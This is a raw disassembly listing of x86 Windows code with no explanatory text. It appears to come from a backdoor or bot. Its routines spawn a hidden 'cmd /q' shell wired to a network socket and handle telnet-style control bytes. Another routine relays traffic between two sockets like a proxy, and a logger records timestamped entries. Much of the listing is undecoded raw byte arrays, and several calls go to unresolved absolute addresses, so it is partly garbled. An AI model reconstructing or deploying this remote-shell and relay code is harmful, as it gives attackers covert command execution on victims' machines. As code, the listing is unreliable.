var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		call	near ptr 2700000h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	near ptr 2650BA1h
		nop
		test	eax, eax
		jz	short loc_410FDB
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43DEE8[eax], ecx
		nop
		call	near ptr 26508EFh
		jmp	short loc_410FF1
; ---------------------------------------------------------------------------

loc_410FDB:				; CODE XREF: sub_410F1F+9Aj
		call	near ptr 2670914h
		nop
		push	eax
		push	offset unk_4344AC
		call	sub_415220
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx

loc_410FF1:				; CODE XREF: sub_410F1F+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF8	proc near		; DATA XREF: sub_410CD5+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]

loc_411021:				; CODE XREF: sub_410FF8+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411089
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105C

loc_411032:				; CODE XREF: sub_410FF8+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104C
		cmp	dl, 0Dh
		jz	short loc_41104C
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax

loc_41104C:				; CODE XREF: sub_410FF8+44j
					; sub_410FF8+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411032

loc_41105C:				; CODE XREF: sub_410FF8+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFF4
		test	eax, eax
		jle	short loc_411089
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411021
; ---------------------------------------------------------------------------

loc_411089:				; CODE XREF: sub_410FF8+2Dj
					; sub_410FF8+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A5
		call	esi
		push	eax
		push	offset dword_4344EC
		call	sub_415220
		pop	ecx
		pop	ecx

loc_4110A5:				; CODE XREF: sub_410FF8+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AA	proc near		; DATA XREF: sub_410CD5+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx

loc_4110C3:				; CODE XREF: sub_4110AA+39j
					; sub_4110AA+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFBC
		test	eax, eax
		jle	loc_4111C8
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E5
		dec	[ebp+var_10]
		jmp	short loc_4110C3
; ---------------------------------------------------------------------------

loc_4110E5:				; CODE XREF: sub_4110AA+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A8
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411155
		cmp	al, 7Fh
		jz	short loc_411155
		cmp	al, 3
		jnz	short loc_411110
		push	ebx
		push	ebx
		call	near ptr 2780000h
		nop
		jmp	short loc_41117C
; ---------------------------------------------------------------------------

loc_411110:				; CODE XREF: sub_4110AA+5Aj
		cmp	al, 15h
		jnz	short loc_411132
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411168
; ---------------------------------------------------------------------------

loc_411132:				; CODE XREF: sub_4110AA+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411169
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411168
; ---------------------------------------------------------------------------

loc_411155:				; CODE XREF: sub_4110AA+52j
					; sub_4110AA+56j
		cmp	esi, ebx
		jbe	short loc_41117F
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3

loc_411168:				; CODE XREF: sub_4110AA+86j
					; sub_4110AA+A9j
		pop	ecx

loc_411169:				; CODE XREF: sub_4110AA+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFF4
		test	eax, eax
		jle	short loc_4111C8

loc_41117C:				; CODE XREF: sub_4110AA+64j
		mov	al, byte ptr [ebp+arg_0+3]

loc_41117F:				; CODE XREF: sub_4110AA+ADj
		cmp	al, 0Dh
		jnz	loc_4110C3
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	near ptr 26E0000h
		nop
		test	eax, eax
		jz	short loc_4111C8
		xor	esi, esi
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111A8:				; CODE XREF: sub_4110AA+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111B9
		mov	[ebp+var_C], 1
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111B9:				; CODE XREF: sub_4110AA+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111C8:				; CODE XREF: sub_4110AA+2Bj
					; sub_4110AA+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AA	endp

; ---------------------------------------------------------------------------
byte_4111CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2C07o
		dd 2D4EC81h, 458B0000h,	57565308h, 0F08B106Ah, 2CBD8D5Bh
		dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h,	0A8B889h
		dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h
		dd 75FF0002h, 0A415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h
		dd 0FFF07589h, 4CB02415h, 8BF88B00h, 0C069C445h, 234h
		dd 0ECB88953h, 8D0043DEh, 5750EC45h, 0AFD015FFh, 0C085004Ch
		dd 121850Fh, 0A6A0000h,	0CC15FF57h, 85004CAFh, 10850FC0h
		dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh
		dd 0FFFD2C85h, 0B8F068FFh, 0E8500042h, 0A606h, 3910C483h
		dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h,	0FFFF3085h
		dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh
		dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h
		dd 4CB038h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h
		dd 0B03015FFh, 8D50004Ch, 0FFFD2C85h, 459868FFh, 0E8500043h
		dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh
		dd 0C069C845h, 234h, 83C44D8Bh,	888920C4h, 43DEE4h, 5008458Dh
		dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 90565600h,	25ED73E8h
		dd 0C84D8B02h, 234C969h, 0C63B0000h, 0DEF48189h, 13740043h
		dd 0FD87539h, 0FFFF6385h, 90056AFFh, 25ECB3E8h,	90EDEB02h
		dd 25F5BFE8h, 858D5002h, 0FFFFFD2Ch, 43455C68h,	1FE85000h
		dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B03C15FFh,	75FF004Ch
		dd 2C858DC0h, 68FFFFFDh, 434528h, 0A4FCE850h, 0C4830000h
		dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h
		dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h
		dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh
		dd 31E89056h, 5F022BECh, 8B555B5Eh, 0D4EC81ECh,	8B000005h
		dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h
		dd 89016AD4h, 0F6690875h, 234h,	0ECB68D5Fh, 890043DEh
		dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh
		dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h,	0FFFA2CBDh
		dd 8C15FFFFh, 85004CAFh, 0FF1875C0h, 3C15FF36h,	0FF004CB0h
		dd 0C7E80875h, 59FFFF9Fh, 0EBAEE853h, 5390022Bh, 0FB30858Dh
		dd 868FFFFh, 50000004h,	15FF36FFh, 4CAFBCh, 187FC085h
		dd 15FF36FFh, 4CB03Ch, 0E80875FFh, 0FFFF9F96h, 7DE85359h
		dd 90022BEBh, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h
		dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h
		dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h
		dd 38858D50h, 50FFFFFBh, 43466068h, 3D52E800h, 680000h
		dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh
		dd 5DFFFFFBh, 0A0A3E8h,	18C48300h, 0FB30858Dh, 6A53FFFFh
		dd 36FF5008h, 0AFF415FFh, 36FF004Ch, 0B03C15FFh, 75FF004Ch
		dd 9F00E808h, 5359FFFFh, 0EAE6E890h, 106A022Bh,	53E8458Dh
		dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h
		dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h
		dd 0B02415FFh, 0F88B004Ch, 75FFFF83h, 3815FF5Dh, 50004CAFh
		dd 43462068h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh,	0A00BE8h
		dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0AFF415FFh
		dd 36FF004Ch, 0B03C15FFh, 75FF004Ch, 9E68E808h,	5359FFFFh
		dd 0EA4EE890h, 458D022Bh, 50106AE8h, 4C15FF57h,	83004CAFh
		dd 5D75FFF8h, 0AF3815FFh, 6850004Ch, 4345DCh, 3C4BE8h
		dd 4006800h, 858D0000h,	0FFFFFB38h, 9D885053h, 0FFFFFB30h
		dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h
		dd 86A53FFh, 0FF36FF50h, 4CAFF415h, 0FF36FF00h,	4CB03C15h
		dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2BE9DFE8h, 4006802h
		dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h
		dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh
		dd 0FF36FF50h, 4CAFF415h, 5736FF00h, 39E8h, 57595900h
		dd 0B03C15FFh, 36FF004Ch, 0B03C15FFh, 75FF004Ch, 9D9CE808h
		dd 5359FFFFh, 2BE983E8h, 36FF9002h, 0B03C15FFh,	75FF004Ch
		dd 9D84E808h, 5359FFFFh, 0E96AE890h
; ---------------------------------------------------------------------------
		sub	eax, [edx]
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h

loc_4116AC:				; CODE XREF: ___:0041175Bj
					; ___:0041178Bj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]

loc_4116C4:				; CODE XREF: ___:004116D2j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D4
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C4

loc_4116D4:				; CODE XREF: ___:004116C9j
		cmp	ecx, 1
		jnz	short loc_4116E9
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2

loc_4116E9:				; CODE XREF: ___:004116D7j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CAF8C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CAE90
		test	eax, eax
		jz	short loc_411749
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CAFBC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791

loc_411749:				; CODE XREF: ___:0041171Bj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAE90
		test	eax, eax
		jz	loc_4116AC
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFBC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AC

loc_411791:				; CODE XREF: ___:00411730j
					; ___:00411747j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
word_411796	dw 8B55h		; DATA XREF: sub_401ACD+210Do
					; sub_40BACD+106o
		dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh
		dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah,	0FE9C85FFh
		dd 26AFFFFh, 89F04589h,	4589EC45h, 0A08289F8h, 0FF000002h
		dd 4CB02415h, 83F08B00h, 5675FFFEh, 19068h, 15E89000h
		dd 390225E8h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh
		dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh
		dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h,	0B5FF0000h
		dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0E7CAE890h, 458D022Bh
		dd 50046AF0h, 0FFFFBFh,	57046A00h, 8415FF56h, 8D004CAFh
		dd 46AEC45h, 57FB6A50h,	8415FF56h, 8B004CAFh, 0FFFE9885h
		dd 69106AFFh, 234C0h, 0B0895300h, 43DEECh, 50D4458Dh, 9D17E8h
		dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AFA415FFh
		dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h,	0AFD015FFh
		dd 0F883004Ch, 681975FFh, 1388h, 0E74EE890h, 8DFF0225h
		dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh
		dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h
		dd 0E8000001h, 225E71Ch, 858D5390h, 0FFFFF888h,	0FF24B5FFh
		dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h
		dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh
		dd 0FFFF9AF6h, 531CC483h, 0E6DAE890h, 7D8B022Bh, 0A09F3908h
		dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h
		dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h
		dd 1FFh, 9C2AE800h, 0C4830000h,	0E4458D0Ch, 858D5350h
		dd 0FFFFF784h, 0FF535053h, 4CAF8C15h, 0FC08500h, 2398Eh
		dd 0D158A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh
		dd 45C7FFFFh, 10F4h, 66ABF300h,	458DAAABh, 458D50F4h, 8D5350C4h
		dd 0FFFF3085h, 8068FFh,	56500000h, 0AF7C15FFh, 75FF004Ch
		dd 0F84589C8h, 0B03015FFh, 8D50004Ch, 0E850B045h, 9EAEh
		dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h,	0FFFFFF31h
		dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h
		dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh
		dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah
		dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h
		dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h
		dd 0FF5650FFh, 4CB00815h, 0B0458D00h, 88858D50h, 68FFFFF8h
		dd 4346CCh, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh
		dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h
		dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh
		dd 0E850FFFFh, 3704h, 110E959h,	0BD800000h, 0FFFFFF31h
		dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh
		dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h
		dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h
		dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h
		dd 200BFh, 9E0C100h, 5053C72Bh,	0E8FC75FFh, 0B6D4h, 8DFC75FFh
		dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h,	8DF88B1Ch
		dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h
		dd 15FF5650h, 4CB008h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh
		dd 0AC68FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h
		dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh
		dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h
		dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDAAC05h, 16EB5900h
		dd 8DF475FFh, 5350C445h, 0A068096Ah, 56004346h,	0B00815FFh
		dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh,	4CB03C15h
		dd 0FC75FF00h, 9482E8h,	9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h
		dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 0E406E853h, 6890022Bh
		dd 3E8h, 0E3FAE890h, 0E8570225h, 0FFFFFB8Ah, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		nop
		call	near ptr 2780144h
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		call	near ptr 2660AB7h
		nop
		lea	eax, [ebp-114h]
		push	offset asc_434E8C ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_429118
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7A
		push	1
		pop	eax
		jmp	short loc_411CF1
; ---------------------------------------------------------------------------

loc_411C7A:				; CODE XREF: ___:00411C73j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CEF
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_434E5C
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A72
		add	esp, 24h

loc_411CEF:				; CODE XREF: ___:00411CB6j
		xor	eax, eax

loc_411CF1:				; CODE XREF: ___:00411C78j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
dword_411CF4	dd 81EC8B55h, 8DCECh, 8458B00h,	83575653h, 0FFF724A5h
					; DATA XREF: sub_401ACD+4508o
		dd 256A00FFh, 0FC6583h,	8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh
		dd 9080h, 100h,	0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh
		dd 0AF2815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF4015FFh
		dd 0BB004Ch, 6A000002h,	0A9E89008h, 0FF0225E2h,	4CAF2815h
		dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF4015FFh
		dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h,	68FFFFFBh
		dd 434EBCh, 9AF8E850h, 0EC810000h, 84h,	0FF24B58Dh, 858DFFFFh
		dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh
		dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h,	0A4C4h
		dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h
		dd 46F40845h, 106A0043h, 0AE7815FFh, 0BF0F004Ch, 8458BF0h
		dd 57FC788Bh, 0AF7015FFh, 0C4F6004Ch, 6A7B7480h, 7815FF14h
		dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh
		dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h
		dd 7815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h
		dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h
		dd 84C7107Dh, 0FFF724BDh, 3FFh,	140E900h, 84C70000h, 0FFF724BDh
		dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh
		dd 0FFFFF724h, 840FF685h, 11Ah,	8D002083h, 0FFFD2485h
		dd 8FF83FFh, 0E8137550h, 9140h,	2305A480h, 0FFFFFDh, 0F8E959h
		dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAF2815h, 0B84D8D00h
		dd 50513C6Ah, 0AF4015FFh, 458D004Ch, 858D50B8h,	0FFFFFD24h
		dd 4EA46850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh
		dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAF28h, 6AB84D8Dh
		dd 0FF50513Ch, 4CAF4015h, 0B8458D00h, 24858D50h, 50FFFFFDh
		dd 434E9068h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h
		dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh,	0FC8B5925h
		dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh
		dd 9632E850h, 0C4810000h, 0A4h,	0FB24858Dh, 6A53FFFFh
		dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h
		dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h
		dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h
		dd 7D811408h, 434E2408h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh
		dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 0E8006A59h
		dd 22BE02Ch
		db 90h
byte_411FD5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+412Ao
		dd 102B4B8h, 9B3EE800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0AFA415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF8BE2E8h, 0FF5059FFh, 4CAFE415h, 36A5600h,	4589026Ah
		dd 2415FFE8h, 8B004CB0h, 0FFFF83F8h, 75FC7D89h,	3815FF5Dh
		dd 50004CAFh, 0FD4C858Dh, 2C68FFFFh, 50004358h,	9821E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h
		dd 565959FFh, 0DF56E890h, 458B022Bh, 69106AD0h,	234C0h
		dd 0ECB88900h, 8D0043DEh, 5750E445h, 0AFD015FFh, 0F883004Ch
		dd 0FF6475FFh, 4CAF3815h, 858D5000h, 0FFFFFD4Ch, 43580068h
		dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 3C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0D1E89056h
		dd 56022BDEh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CAF5015h, 0FFF88300h, 15FF6475h, 4CAF38h, 4C858D50h
